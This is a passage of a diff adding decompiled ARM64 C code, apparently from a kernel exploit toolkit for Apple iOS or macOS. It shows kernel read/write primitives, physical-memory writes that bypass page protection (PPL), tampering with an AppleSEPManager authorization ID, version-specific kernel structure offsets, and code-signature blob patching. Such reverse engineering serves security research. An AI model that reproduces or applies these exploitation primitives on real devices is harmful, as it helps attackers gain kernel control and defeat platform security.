(mach_vm_address_t)table_info, 28LL * table_infoCnt); + if ( tree_info && tree_infoCnt ) + mach_vm_deallocate(mach_task_self_, (mach_vm_address_t)tree_info, 36LL * tree_infoCnt); + mach_port_deallocate(mach_task_self_, v24); + } + return v1; +} + +//----- (000000000002AABC) ---------------------------------------------------- +__int64 __fastcall sub_2AABC(__int64 a1, unsigned int a2) +{ + mach_timespec_t v2; // x1 + + v2 = (mach_timespec_t)((a2 / 0xF4240uLL) & 0x7FFFFFFFFLL + | ((unsigned __int64)((125 * (a2 % 0xF4240)) & 0x1FFFFFFF) << 35)); + if ( semaphore_timedwait(*(_DWORD *)(a1 + 612), v2) == 49 ) + return 0; + else + return 0xFFFFFFFFLL; +} + +//----- (000000000002AB10) ---------------------------------------------------- +__int64 sub_2AB10() +{ + return 0LL; +} + +//----- (000000000002AB18) ---------------------------------------------------- +__int64 __fastcall sub_2AB18(__int64 a1) +{ + __int64 v1; // x22 + int v3; // w0 + int v4; // w20 + int v5; // w21 + int v6; // w8 + int v7; // w21 + bool v8; // zf + int v9; // w20 + __int64 v10; // x8 + int v12; // w19 + int v13; // w8 + sockaddr v14; // [xsp+0h] [xbp-50h] BYREF + __int128 v15; // [xsp+10h] [xbp-40h] + __int64 v16; // [xsp+20h] [xbp-30h] BYREF + mach_port_t v17; // [xsp+2Ch] [xbp-24h] + + v1 = *(_QWORD *)(a1 + 40); + if ( !v1 ) + return 0; + v17 = 0; + v3 = socket(32, 2, 2); + v4 = v3; + if ( v3 < 0 + || (v14 = (sockaddr)0, v15 = 0u, *(_DWORD *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u)) + || (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() ) + { + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + v7 = v6 | 0x40000000; + goto LABEL_8; + } + v7 = sub_356C8((struct_krwCtx *)a1, v17, &v16); + if ( !v7 ) + { + v7 = 163855; + if ( kread64_outptr((struct_krwCtx *)a1, v16 + 16, (unsigned __int64 *)&v16) ) + { + if ( !validate_addr(a1, v16) ) + goto LABEL_40; + if ( kread64_outptr((struct_krwCtx *)a1, v16 + 48, (unsigned __int64 *)&v16) ) + { + if ( validate_addr(a1, v16) ) + { + v7 = 0; + *(_DWORD *)(v1 + 16) = v4; + *(_QWORD *)(v1 + 24) = v16; + goto LABEL_8; + } +LABEL_40: + v7 = 163878; + } + } + } +LABEL_8: + if ( v17 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v17); + v17 = 0; + } + if ( v7 ) + v8 = v4 == -1; + else + v8 = 1; + if ( !v8 ) + { + close(v4); + *(_DWORD *)(v1 + 60) = v7; +LABEL_26: + semaphore_signal(*(_DWORD *)(v1 + 12)); + return 0; + } + *(_DWORD *)(v1 + 60) = v7; + if ( v7 ) + goto LABEL_26; + v9 = 708609; + while ( !(unsigned int)__semwait_signal() ) + { + if ( *(_BYTE *)(v1 + 56) ) + { + v9 = 0; + goto LABEL_38; + } + v10 = *(_QWORD *)(v1 + 32); + if ( !v10 || !*(_QWORD *)(v1 + 40) || *(_QWORD *)(v1 + 48) != 8 ) + goto LABEL_38; + *(_QWORD *)&v14.sa_len = v10 - 48; + if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 24) + 8LL, &v14, *(unsigned int *)(a1 + 360), 1) ) + { + v16 = **(_QWORD **)(v1 + 40); + if ( setsockopt(*(_DWORD *)(v1 + 16), 2, 16, &v16, 8u) ) + break; + *(_QWORD *)&v14.sa_len = 0; + if ( noppl_kwritebuf(a1, *(_QWORD *)(v1 + 24) + 8LL, &v14, *(unsigned int *)(a1 + 360), 1) ) + continue; + } + v9 = 163856; + goto LABEL_38; + } + v12 = *__error(); + v13 = *__error(); + if ( v12 < 0 ) + v13 = -v13; + v9 = v13 | 0x40000000; +LABEL_38: + *(_DWORD *)(v1 + 60) = v9; + if ( !*(_BYTE *)(v1 + 56) ) + goto LABEL_26; + return 0; +} + +//----- (000000000002AD98) ---------------------------------------------------- +__int64 __fastcall sub_2AD98(semaphore_t a1) +{ + semaphore_wait(a1); + return 0; +} + +//----- (000000000002ADB4) ---------------------------------------------------- +__int64 __fastcall sub_2ADB4(__int64 a1) +{ + semaphore_t v2; // w19 + pthread_mutex_t *v3; // x20 + __int64 v4; // x26 + char v5; // w25 + char v6; // w8 + unsigned int v7; // w27 + __int64 v8; // x22 + unsigned int v9; // w0 + unsigned int v10; // w23 + __int64 v11; // x8 + __int64 v12; // x24 + __int64 v13; // x23 + __int64 v14; // x28 + __int64 v15; // x8 + vm_address_t v16; // x8 + vm_size_t v17; // x24 + mem_entry_name_port_t v18; // w5 + vm_offset_t v19; // x6 + unsigned __int64 v20; // x9 + vm_size_t v21; // x23 + vm_address_t address; // [xsp+18h] [xbp-58h] BYREF + + v2 = *(_DWORD *)(a1 + 136); + v3 = (pthread_mutex_t *)(a1 + 32); + v4 = *(_QWORD *)(a1 + 104); + if ( !v4 ) + { + v5 = 0; + v6 = 0; + v7 = 0; + v8 = *(_QWORD *)a1; + while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) ) + { + if ( v7 ) + thread_switch(0, 2, 1u); + if ( pthread_mutex_lock(v3) ) + { + ++*(_DWORD *)(a1 + 120); + goto LABEL_40; + } + if ( !*(_QWORD *)(a1 + 104) ) + { + v9 = sub_1F190(); + if ( v9 < *(_DWORD *)(a1 + 16) ) + { + v10 = v9; + v11 = *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL * v9); + if ( v11 ) + { + v12 = *(_QWORD *)(v11 + *(unsigned int *)(a1 + 20)); + if ( validate_addr(v8, v12) ) + { + if ( v10 == (unsigned int)sub_1F190() ) + { + v13 = v12 + *(unsigned int *)(a1 + 96); + v14 = v13 & ~*(_QWORD *)(v8 + 392); + v15 = *(_QWORD *)(a1 + 24); + if ( v15 && v14 == v15 ) + break; + if ( !validate_addr_maybe2((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) ) + { +LABEL_37: + *(_QWORD *)(a1 + 24) = v14; + break; + } + v16 = *(_QWORD *)(v8 + 144); + if ( !v16 || (v17 = *(_QWORD *)(v8 + 152)) == 0 ) + { + address = 0; + v18 = *(_DWORD *)(v8 + 88); + if ( v18 + 1 < 2 ) + goto LABEL_37; + v19 = *(_QWORD *)(v8 + 128); + if ( !v19 ) + goto LABEL_37; + v17 = *(unsigned int *)(v8 + 136); + if ( !(_DWORD)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) ) + goto LABEL_37; + v16 = address; + *(_QWORD *)(v8 + 144) = address; + *(_QWORD *)(v8 + 152) = v17; + } + v20 = 0; + while ( !*(_DWORD *)(v16 + (unsigned int)(v20 + 32)) + || *(_QWORD *)(v16 + (unsigned int)(v20 + 24)) != v14 ) + { + v20 += 48LL; + if ( v17 <= (unsigned int)v20 ) + goto LABEL_37; + } + v21 = (*(_QWORD *)(v8 + 392) & v13) + + ((((*(_QWORD *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1) + & -(__int64)vm_page_size) >> vm_page_shift) + + v20 / 0x30) + * vm_page_size; + *(_QWORD *)(a1 + 104) = pthread_self(); + *(_QWORD *)(a1 + 112) = v21; + v5 = 1; + } + } + } + } + } + if ( !*(_QWORD *)(a1 + 104) ) + { + v6 = 1; + if ( v7++ < 0xF ) + continue; + } + goto LABEL_3; + } + ++*(_DWORD *)(a1 + 120); + goto LABEL_39; + } + v5 = 0; +LABEL_3: + ++*(_DWORD *)(a1 + 120); + if ( !v4 ) +LABEL_39: + pthread_mutex_unlock(v3); +LABEL_40: + if ( (v5 & 1) != 0 ) + semaphore_wait(v2); + return 0; +} + +//----- (000000000002B03C) ---------------------------------------------------- +__int64 __fastcall sub_2B03C(__int64 a1) +{ + unsigned int v2; // w21 + int v3; // w0 + + __error(); + v2 = 0; + *(_BYTE *)(a1 + 73) = 1; + while ( 1 ) + { + v3 = __ulock_wait(); + if ( !v3 ) + { + ++*(_QWORD *)(a1 + 64); + goto LABEL_10; + } + if ( v3 == -1 && *__error() == 4 && v2++ < 0x64 ) + continue; + if ( *__error() != 14 ) + return 0; +LABEL_10: + v2 = 0; + if ( *(_BYTE *)(a1 + 72) ) + return 0; + } +} + +//----- (000000000002B0E8) ---------------------------------------------------- +__int64 __fastcall sub_2B0E8(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 a3) +{ + struct_qword1D48 *qword1D48; // x8 + mach_port_t v4; // w21 + __int64 v5; // x20 + unsigned __int64 paddr; // x22 + __int64 v7; // x27 + __int64 v8; // x8 + __int64 v9; // x25 + vm_size_t pageSize; // x9 + __int64 v14; // x10 + __int64 v15; // x12 + __int64 v16; // x13 + __int64 v17; // x14 + kern_return_t v18; // w0 + uint64_t v19; // x28 + unsigned __int64 paddr_2; // x0 + unsigned __int64 paddr_1; // x27 + __int64 v23; // x0 + __int64 v24; // x0 + __int64 v25; // x0 + __int64 v26; // x0 + unsigned __int64 v27; // [xsp+0h] [xbp-2A0h] + __int64 v28; // [xsp+8h] [xbp-298h] BYREF + uint64_t input; // [xsp+10h] [xbp-290h] BYREF + size_t outputStructCnt; // [xsp+18h] [xbp-288h] BYREF + unsigned __int64 v31; // [xsp+20h] [xbp-280h] BYREF + int v32; // [xsp+2Ch] [xbp-274h] BYREF + __int128 outputStruct[16]; // [xsp+30h] [xbp-270h] BYREF + int inputStruct; // [xsp+138h] [xbp-168h] BYREF + int v35[56]; // [xsp+13Ch] [xbp-164h] BYREF + _BYTE v36[28]; // [xsp+21Ch] [xbp-84h] BYREF + + v31 = 0; + qword1D48 = (struct_qword1D48 *)krwCtx->qword1D48; + if ( !qword1D48 ) + return 708609; + v4 = qword1D48->dword70; + if ( v4 + 1 < 2 ) + return 163848; + v5 = qword1D48->qword58; + if ( !v5 ) + return 163878; + paddr = qword1D48->qword60; + if ( !paddr ) + return 163878; + v7 = qword1D48->qword68; + if ( !v7 ) + return 163878; + v8 = qword1D48->qword50; + v9 = 163857; + if ( !v8 ) + return v9; + pageSize = vm_page_size; + memset(v36, 0, sizeof(v36)); + memset(v35, 0, sizeof(v35)); + inputStruct = 128; + v14 = 10; + v15 = 12; + if ( krwCtx->xnuMajorVersion > 8795 ) + v14 = 12; + v16 = 14; + if ( krwCtx->xnuMajorVersion > 8795 ) + v15 = 14; + v17 = 16; + if ( krwCtx->xnuMajorVersion > 8795 ) + { + v16 = 16; + v17 = 18; + } + *(_QWORD *)&v35[v14 - 1] = vm_page_size; + *(_QWORD *)&v35[v15 - 1] = v8; + *(_QWORD *)&v35[v16 - 1] = v8; + *(_QWORD *)&v35[v17 - 1] = pageSize; + memset(outputStruct, 0, sizeof(outputStruct)); + outputStructCnt = 0x100; + v18 = IOConnectCallStructMethod(v4, 9u, &inputStruct, 0x100u, outputStruct, &outputStructCnt); + if ( v18 ) + return v18 | 0x80000000; + v19 = HIDWORD(outputStruct[1]); + if ( (unsigned int)(HIDWORD(outputStruct[1]) - 1) > 0x3FE ) + return v9; + if ( !kreadbuf(krwCtx, v7 + (unsigned int)(krwCtx->int168 * HIDWORD(outputStruct[1])), krwCtx->int168, &v31, 0) ) + return 163855; + v31 = sub_29CB0(krwCtx, v31); + if ( !validate_addr((__int64)krwCtx, v31) ) + return 163878; + paddr_2 = sub_218A8((__int64)krwCtx, v31 + 16, 0); + if ( !paddr_2 ) + return 163878; + paddr_1 = paddr_2; + if ( (((v31 + 16) ^ (v31 + 120)) & ~krwCtx->qword188) != 0 ) + { + v9 = 163878; + v27 = sub_218A8((__int64)krwCtx, v31 + 120, 0); + if ( !v27 ) + return v9; + } + else + { + v27 = paddr_2 + 104; + } + v32 = 0; + if ( krwCtx->someLargeNumber >= 0x27120F04B00003LL && (krwCtx->flags & 0x20) != 0 ) + physwritebuf_idk_maybe(krwCtx, paddr_1, &v32, 4u, 0); + else + v23 = physwritebuf_ppl_MAYBENOTSURE((__int64)krwCtx, paddr_1, &v32, 4u); + v9 = v23; + if ( !(_DWORD)v23 ) + { + if ( kreadbuf(krwCtx, vaddr, 8u, &v28, 0) ) + { + physwrite64_maybe(krwCtx, v27, v28 - a3); + v9 = v24; + if ( !(_DWORD)v24 ) + { + physwrite64_maybe(krwCtx, paddr, vaddr); + v9 = v25; + if ( !(_DWORD)v25 ) + { + input = v19; + IOConnectCallScalarMethod(v4, 0xAu, &input, 1u, 0, 0); + physwrite64_maybe(krwCtx, paddr, v5); + return v26; + } + } + return v9; + } + return 163855; + } + return v9; +} +// 2B3CC: variable 'v23' is possibly undefined +// 2B400: variable 'v24' is possibly undefined +// 2B418: variable 'v25' is possibly undefined +// 2B450: variable 'v26' is possibly undefined + +//----- (000000000002B464) ---------------------------------------------------- +void __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1) +{ + __int64 value; // [xsp+8h] [xbp-8h] BYREF + + value = value_1; + if ( krwCtx->someLargeNumber >= 0x27120F04B00003LL && (krwCtx->flags & 0x20) != 0 ) + physwritebuf_idk_maybe(krwCtx, paddr, &value, 8u, 0); + else + physwritebuf_ppl_MAYBENOTSURE((__int64)krwCtx, paddr, &value, 8u); +} + +//----- (000000000002B4C8) ---------------------------------------------------- +__int64 __fastcall physwritebuf_ppl_MAYBENOTSURE(__int64 a1, __int64 paddr, _QWORD *data, unsigned int size) +{ + vm_size_t v4; // x19 + __int64 result; // x0 + vm_size_t v9; // x23 + __int64 v10; // x8 + void *v11; // x1 + void *__dst; // [xsp+8h] [xbp-38h] BYREF + + __dst = 0; + v4 = vm_page_size; + if ( paddr + (unsigned __int64)size > (-(__int64)vm_page_size & paddr) + vm_page_size ) + return 708609; + v9 = vm_page_mask; + result = physmap_maybe(a1, (vm_address_t *)&__dst, vm_page_size, paddr); + if ( !(_DWORD)result ) + { + v10 = v9 & paddr; + if ( size == 8 ) + { + v11 = __dst; + *(_QWORD *)((char *)__dst + v10) = *data; + } + else if ( size == 4 ) + { + v11 = __dst; + *(_DWORD *)((char *)__dst + v10) = *(_DWORD *)data; + } + else + { + memcpy(__dst, data, size); + v11 = __dst; + } + vm_deallocate(mach_task_self_, (vm_address_t)v11, v4); + return 0; + } + return result; +} + +//----- (000000000002B5BC) ---------------------------------------------------- +__int64 __fastcall sub_2B5BC(__int64 a1, __int64 a2) +{ + unsigned int v4; // w22 + unsigned int v5; // w0 + __int64 v6; // x19 + unsigned __int64 v7; // x0 + mach_vm_address_t someKernelAddress; // x23 + unsigned int v9; // w0 + unsigned int v10; // w24 + int v11; // w0 + _BOOL4 is_the_kwrite64; // w0 + unsigned int v13; // w8 + __int64 v15; // [xsp+8h] [xbp-38h] BYREF + + v4 = *(_DWORD *)(a1 + 16); + if ( v4 + 1 <= 1 ) + { + v5 = (unsigned int)sub_24D64("AppleSEPManager"); + if ( v5 + 1 < 2 ) + return 708625; + v4 = v5; + *(_DWORD *)(a1 + 16) = v5; + } + v6 = 163856; + v7 = *(_QWORD *)(a1 + 24); + if ( !v7 ) + { + v7 = port_name_to_kaddr((struct_krwCtx *)a1, v4); + if ( !v7 ) + return 163854; + *(_QWORD *)(a1 + 24) = v7; + } + if ( *(_QWORD *)(a1 + 32) ) + { + v15 = *(_QWORD *)(a1 + 32); + someKernelAddress = v7 + 40; + } + else + { + someKernelAddress = v7 + 40; + if ( !kread64_outptr((struct_krwCtx *)a1, v7 + 40, (unsigned __int64 *)&v15) ) + return 163855; + *(_QWORD *)(a1 + 32) = v15; + } + if ( kwrite64_last_arg((struct_krwCtx *)a1, someKernelAddress, a2, 0) ) + { + v9 = _IOServiceSetAuthorizationID(); + v10 = v9; + if ( v9 ) + { + if ( v9 != 53 ) + { + v10 = v9 & 0xFFF | 0x70000000; + goto LABEL_25; + } + if ( *(_BYTE *)(a1 + 12) ) + { + *(_BYTE *)(a1 + 12) = 0; + v10 = sub_3C450(a1, mach_task_self_, 0, 0); + *(_BYTE *)(a1 + 12) = 1; + if ( v10 ) + goto LABEL_25; + } + else + { + v10 = sub_3C450(a1, mach_task_self_, 0, 0); + if ( v10 ) + goto LABEL_25; + } + v11 = _IOServiceSetAuthorizationID(); + if ( v11 ) + v10 = v11 & 0xFFF | 0x70000000; + else + v10 = 0; + } +LABEL_25: + is_the_kwrite64 = kwrite64_last_arg((struct_krwCtx *)a1, someKernelAddress, v15, 0); + if ( v10 ) + v13 = v10; + else + v13 = 163856; + if ( is_the_kwrite64 ) + return v10; + else + return v13; + } + return v6; +} + +//----- (000000000002B788) ---------------------------------------------------- +__int64 __fastcall sub_2B788(const char **a1) +{ + __int64 v1; // x19 + __int64 v3; // x20 + pid_t v5; // w0 + unsigned int v6; // w9 + int v7; // [xsp+0h] [xbp-30h] BYREF + pid_t v8; // [xsp+4h] [xbp-2Ch] BYREF + posix_spawn_file_actions_t v9; // [xsp+8h] [xbp-28h] BYREF + sigset_t v10; // [xsp+14h] [xbp-1Ch] BYREF + posix_spawnattr_t v11; // [xsp+18h] [xbp-18h] BYREF + + v1 = 708619; + v11 = 0; + v9 = 0; + v7 = -1; + v8 = -1; + if ( !a1 || !*a1 || !**a1 ) + return 708609; + if ( !posix_spawnattr_init(&v11) ) + { + v10 = -1; + if ( !posix_spawnattr_setflags(&v11, 7) + && !posix_spawnattr_setsigdefault(&v11, &v10) + && !posix_spawnattr_setpgroup(&v11, 0) + && !posix_spawn_file_actions_init(&v9) ) + { + if ( posix_spawn_file_actions_addopen(&v9, 0, "/dev/null", 0x20000, 0) + || posix_spawn_file_actions_addopen(&v9, 1, "/dev/null", 131585, 0) + || posix_spawn_file_actions_addopen(&v9, 2, "/dev/null", 131585, 0) + || posix_spawn(&v8, *a1, &v9, &v11, (char *const *)a1, 0) ) + { + v3 = 708619; + } + else + { + v3 = 708619; + do + { + v5 = waitpid(v8, &v7, 0); + if ( v5 == v8 ) + { + if ( v5 != -1 ) + goto LABEL_26; + v3 = 0; + } + else + { + if ( v5 != -1 ) + break; + __error(); + } + } + while ( *__error() == 4 ); + if ( (_DWORD)v3 ) + goto LABEL_14; +LABEL_26: + if ( (v7 & 0xFF00) != 0 ) + v6 = 708619; + else + v6 = 0; + if ( (v7 & 0x7F) != 0 ) + v3 = 708619; + else + v3 = v6; + } +LABEL_14: + posix_spawn_file_actions_destroy(&v9); + v1 = v3; + } + posix_spawnattr_destroy(&v11); + } + return v1; +} + +//----- (000000000002B94C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2B94C( + struct_krwCtx *a1, + unsigned int a2, + __int64 *a3, + unsigned __int8 a4, + unsigned __int64 *a5) +{ + unsigned __int64 result; // x0 + unsigned __int64 v10; // x23 + unsigned __int64 v12; // x1 + _BOOL4 v13; // w8 + __int64 v14; // x1 + int v15; // w20 + __int64 v16; // x2 + unsigned __int64 someLargeNumber; // x9 + __int64 v18; // x8 + bool v19; // cc + unsigned __int64 v20; // x9 + __int128 *v21; // x10 + unsigned __int64 v22; // x8 + _BOOL4 v24; // w8 + unsigned int v25; // [xsp+0h] [xbp-150h] BYREF + unsigned int v26; // [xsp+4h] [xbp-14Ch] BYREF + __int64 address; // [xsp+8h] [xbp-148h] BYREF + unsigned __int64 v28; // [xsp+10h] [xbp-140h] BYREF + __int64 v29; // [xsp+18h] [xbp-138h] BYREF + unsigned __int64 v30; // [xsp+20h] [xbp-130h] BYREF + __int64 v31; // [xsp+28h] [xbp-128h] BYREF + __int128 v32; // [xsp+30h] [xbp-120h] BYREF + __int128 v33; // [xsp+40h] [xbp-110h] + __int128 v34; // [xsp+50h] [xbp-100h] BYREF + _OWORD v35[9]; // [xsp+60h] [xbp-F0h] BYREF + __int64 v36; // [xsp+F0h] [xbp-60h] + + v30 = 0; + v31 = 0; + v28 = 0; + v29 = 0; + address = 0; + result = sub_33E8C(a1, a2); + if ( !result ) + return result; + v10 = result; + if ( !(unsigned int)sub_2BBA4((__int64)a1, (int *)&v31 + 1, (int *)&v31) ) + return 0; + if ( !kread64_outptr(a1, v10 + HIDWORD(v31), &v30) || v30 == 0 ) + return 0; + if ( !a3 ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v10 + (unsigned int)v31, 8, &v29) ) + goto LABEL_10; + return 0; + } + v29 = *a3; +LABEL_10: + if ( !(unsigned int)sub_2BC80((__int64)a1, &v26, &v25) || !kread64_outptr(a1, v30 + v26, &v28) || !v28 ) + return 0; + v12 = v28 + v25; + if ( a5 ) + *a5 = v12; + v13 = kread64_outptr(a1, v12, (unsigned __int64 *)&address); + result = 0; + if ( v13 ) + { + v14 = address; + if ( address ) + { + v15 = a4 & (a3 == 0); + while ( 1 ) + { + v36 = 0; + v34 = 0u; + memset(v35, 0, sizeof(v35)); + v16 = a1->someLargeNumber <= 0x1F530F027FFFFFLL ? 48LL : 64LL; + v32 = 0u; + v33 = 0u; + if ( !(unsigned int)kreadbuf_last_1(a1, v14, v16, &v32) ) + break; + someLargeNumber = a1->someLargeNumber; + v18 = *((_QWORD *)&v33 + 1); + if ( someLargeNumber > 0x1F530F027FFFFFLL ) + v18 = *((_QWORD *)&v34 + 1); + if ( v15 ) + { + if ( (unsigned __int64)(v18 - 0x20000000) <= 0x7FE0000000LL ) + return address; + } + else + { + v19 = someLargeNumber > 0x1F530F027FFFFFLL; + if ( someLargeNumber <= 0x1F530F027FFFFFLL ) + v20 = *((_QWORD *)&v34 + 1); + else + v20 = *((_QWORD *)&v35[0] + 1); + v21 = v35; + if ( !v19 ) + v21 = &v34; + v22 = v29 - v18; + if ( v22 >= *(_QWORD *)v21 && v22 < v20 ) + return address; + } + v24 = kread64_outptr(a1, address, (unsigned __int64 *)&address); + result = 0; + if ( v24 ) + { + v14 = address; + if ( address ) + continue; + } + return result; + } + return 0; + } + } + return result; +} + +//----- (000000000002BBA4) ---------------------------------------------------- +__int64 __fastcall sub_2BBA4(__int64 a1, int *a2, int *a3) +{ + __int64 result; // x0 + int v5; // w9 + int v7; // w8 + int v8; // w9 + unsigned __int64 v9; // x8 + + result = 0LL; + v5 = *(_DWORD *)(a1 + 320); + if ( v5 <= 8019 ) + { + switch ( v5 ) + { + case 6153: + v7 = 576; + v8 = 568; + break; + case 7195: + v7 = 552; + v8 = 544; + break; + case 8019: + v9 = *(_QWORD *)(a1 + 344); + if ( v9 <= 0x1F530F027FFFFFLL ) + v8 = 680; + else + v8 = 856; + if ( v9 <= 0x1F530F027FFFFFLL ) + v7 = 688; + else + v7 = 864; + break; + default: + return result; + } + goto LABEL_26; + } + if ( v5 <= 8795 ) + { + if ( v5 != 8020 && v5 != 8792 ) + return result; + v7 = 856; + v8 = 848; +LABEL_26: + *a2 = v8; + *a3 = v7; + return 1LL; + } + if ( v5 == 8796 || v5 == 10002 ) + { + v7 = 1360; + v8 = 1352; + goto LABEL_26; + } + return result; +} + +//----- (000000000002BC80) ---------------------------------------------------- +__int64 __fastcall sub_2BC80(__int64 a1, _DWORD *a2, _DWORD *a3) +{ + __int64 result; // x0 + int v5; // w8 + bool v6; // zf + int v7; // w9 + + result = 0LL; + v5 = *(_DWORD *)(a1 + 320); + if ( v5 > 8791 ) + { + v6 = v5 == 8792 || v5 == 10002; + v7 = 8796; + } + else + { + v6 = (unsigned int)(v5 - 8019) < 2 || v5 == 6153; + v7 = 7195; + } + if ( v6 || v5 == v7 ) + { + if ( a2 ) + *a2 = 120; + if ( a3 ) + *a3 = 80; + return 1LL; + } + return result; +} + +//----- (000000000002BCF0) ---------------------------------------------------- +__int64 __fastcall sub_2BCF0(int a1, const void *a2, CC_LONG a3, void *a4, _DWORD *a5) +{ + size_t v6; // x21 + CC_SHA512_CTX c; // [xsp+8h] [xbp-138h] BYREF + unsigned __int8 md[48]; // [xsp+D8h] [xbp-68h] BYREF + + if ( (unsigned int)(a1 - 1) > 3 ) + return 0; + v6 = dword_436F0[a1 - 1]; + if ( *a5 < (unsigned int)v6 ) + return 0; + if ( (unsigned int)(a1 - 2) < 2 ) + { + CC_SHA256_Init((CC_SHA256_CTX *)&c); + CC_SHA256_Update((CC_SHA256_CTX *)&c, a2, a3); + CC_SHA256_Final(md, (CC_SHA256_CTX *)&c); + goto LABEL_11; + } + if ( a1 == 4 ) + { + CC_SHA384_Init(&c); + CC_SHA384_Update(&c, a2, a3); + CC_SHA384_Final(md, &c); + goto LABEL_11; + } + if ( a1 == 1 ) + { + CC_SHA1_Init((CC_SHA1_CTX *)&c); + CC_SHA1_Update((CC_SHA1_CTX *)&c, a2, a3); + CC_SHA1_Final(md, (CC_SHA1_CTX *)&c); +LABEL_11: + memcpy(a4, md, v6); + *a5 = v6; + return 1; + } + return 0; +} +// 436F0: using guessed type unsigned int dword_436F0[4]; + +//----- (000000000002BE34) ---------------------------------------------------- +__int64 __fastcall sub_2BE34(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, _QWORD *a5, _QWORD *a6, _BYTE *a7) +{ + CFErrorRef v12; // x0 + CFErrorRef v13; // x19 + CFErrorRef v14; // x0 + CFErrorRef v15; // x20 + void *v16; // x0 + __int64 v17; // x21 + size_t v19; // [xsp+8h] [xbp-38h] BYREF + + v12 = sub_2BF00(a1, a2); + if ( !v12 ) + return 0; + v13 = v12; + v14 = sub_2BF00(a3, a4); + if ( v14 ) + { + v15 = v14; + if ( sub_2BFDC(v13, v14, a7) && (v16 = sub_2C044(v13, &v19)) != 0 ) + { + *a6 = v19; + *a5 = v16; + v17 = 1; + } + else + { + v17 = 0; + } + CFRelease(v13); + } + else + { + v17 = 0; + v15 = v13; + } + CFRelease(v15); + return v17; +} + +//----- (000000000002BF00) ---------------------------------------------------- +CFErrorRef __fastcall sub_2BF00(UInt8 *bytes, CFIndex length) +{ + __CFReadStream *v2; // x0 + __CFReadStream *v3; // x19 + __CFError *v4; // x0 + CFErrorRef v5; // x20 + CFTypeID v6; // x21 + CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF + + error = 0; + v2 = CFReadStreamCreateWithBytesNoCopy(kCFAllocatorDefault, bytes, length, kCFAllocatorNull); + if ( v2 ) + { + v3 = v2; + if ( !CFReadStreamOpen(v2) ) + { + v5 = 0; + goto LABEL_9; + } + v4 = (__CFError *)CFPropertyListCreateWithStream(kCFAllocatorDefault, v3, 0, 2u, 0, &error); + if ( v4 ) + { + v5 = v4; + v6 = CFGetTypeID(v4); + if ( v6 == CFDictionaryGetTypeID() ) + { +LABEL_6: + CFReadStreamClose(v3); +LABEL_9: + CFRelease(v3); + return v5; + } + } + else + { + v5 = error; + if ( !error ) + goto LABEL_6; + } + CFRelease(v5); + v5 = 0; + goto LABEL_6; + } + return 0; +} + +//----- (000000000002BFDC) ---------------------------------------------------- +bool __fastcall sub_2BFDC(const void *a1, const void *a2, _BYTE *a3) +{ + _BOOL8 result; // x0 + + if ( !a3 ) + return (unsigned int)sub_12954(a1, a2) == 0; + if ( (unsigned int)sub_12BF4(a1, a2) ) + { + *a3 = 0; + return (unsigned int)sub_12954(a1, a2) == 0; + } + result = 1; + *a3 = 1; + return result; +} + +//----- (000000000002C044) ---------------------------------------------------- +void *__fastcall sub_2C044(CFPropertyListRef propertyList, size_t *a2) +{ + const __CFData *v3; // x0 + const __CFData *v4; // x19 + size_t Length; // x0 + size_t v6; // x22 + void *v7; // x21 + const UInt8 *BytePtr; // x0 + CFErrorRef error; // [xsp+8h] [xbp-28h] BYREF + + error = 0; + v3 = CFPropertyListCreateData(kCFAllocatorDefault, propertyList, kCFPropertyListXMLFormat_v1_0, 0, &error); + if ( v3 ) + { + v4 = v3; + Length = CFDataGetLength(v3); + if ( Length ) + { + v6 = Length; + v7 = malloc(Length); + if ( v7 ) + { + BytePtr = CFDataGetBytePtr(v4); + memcpy(v7, BytePtr, v6); + *a2 = v6; + } + goto LABEL_7; + } + } + else + { + v4 = error; + if ( !error ) + return 0; + } + v7 = 0; +LABEL_7: + CFRelease(v4); + return v7; +} + +//----- (000000000002C0F8) ---------------------------------------------------- +bool __fastcall sub_2C0F8(struct_krwCtx *a1, unsigned int a2, const char *a3) +{ + _BOOL4 v5; // w26 + _BOOL8 v6; // x19 + unsigned int *v7; // x0 + unsigned int *v8; // x20 + unsigned int v9; // w28 + unsigned int v10; // w27 + unsigned int v11; // w25 + size_t v12; // x24 + size_t v13; // x23 + __int64 v14; // x8 + _OWORD *v15; // x0 + _DWORD *v16; // x22 + _DWORD *v17; // x0 + size_t v18; // x0 + _BYTE v20[104]; // [xsp+8h] [xbp-B8h] BYREF + + if ( (unsigned int)sub_2C2F8(a1, a2, (__int64)v20) ) + { + v5 = (a1->flags & 0x5584001) != 0 || a1->someLargeNumber > 0x1F52FFFFFFFFFFLL; + v7 = sub_2C9B0((__int64)v20, 0, -86111230); + if ( !v7 ) + goto LABEL_23; + v8 = v7; + v9 = v7[5]; + v10 = bswap32(v9); + if ( a3 ) + { + v11 = v7[1]; + if ( !v9 || strcmp((const char *)v7 + v10, a3) ) + { + v12 = bswap32(v11); + v13 = (unsigned int)strlen(a3) + 1; + if ( v5 ) + { + if ( (unsigned int)v13 <= 0x80 ) + { + v14 = (unsigned int)(v12 - 128); + v8[5] = bswap32(v14); + v15 = (_OWORD *)((char *)v8 + v14); + v15[6] = 0u; + v15[7] = 0u; + v15[4] = 0u; + v15[5] = 0u; + v15[2] = 0u; + v15[3] = 0u; + *v15 = 0u; + v15[1] = 0u; + strlcpy((char *)v8 + v14, a3, v13); + v16 = 0; +LABEL_20: + if ( (unsigned int)sub_2CA2C((__int64)v20, 0, v8) ) + { + v6 = (unsigned int)sub_2CA80(a1, (__int64)v20) != 0; + if ( !v16 ) + goto LABEL_26; + goto LABEL_25; + } + v6 = 0; + if ( v16 ) +LABEL_25: + free(v16); +LABEL_26: + sub_2CB54((__int64)v20); + return v6; + } 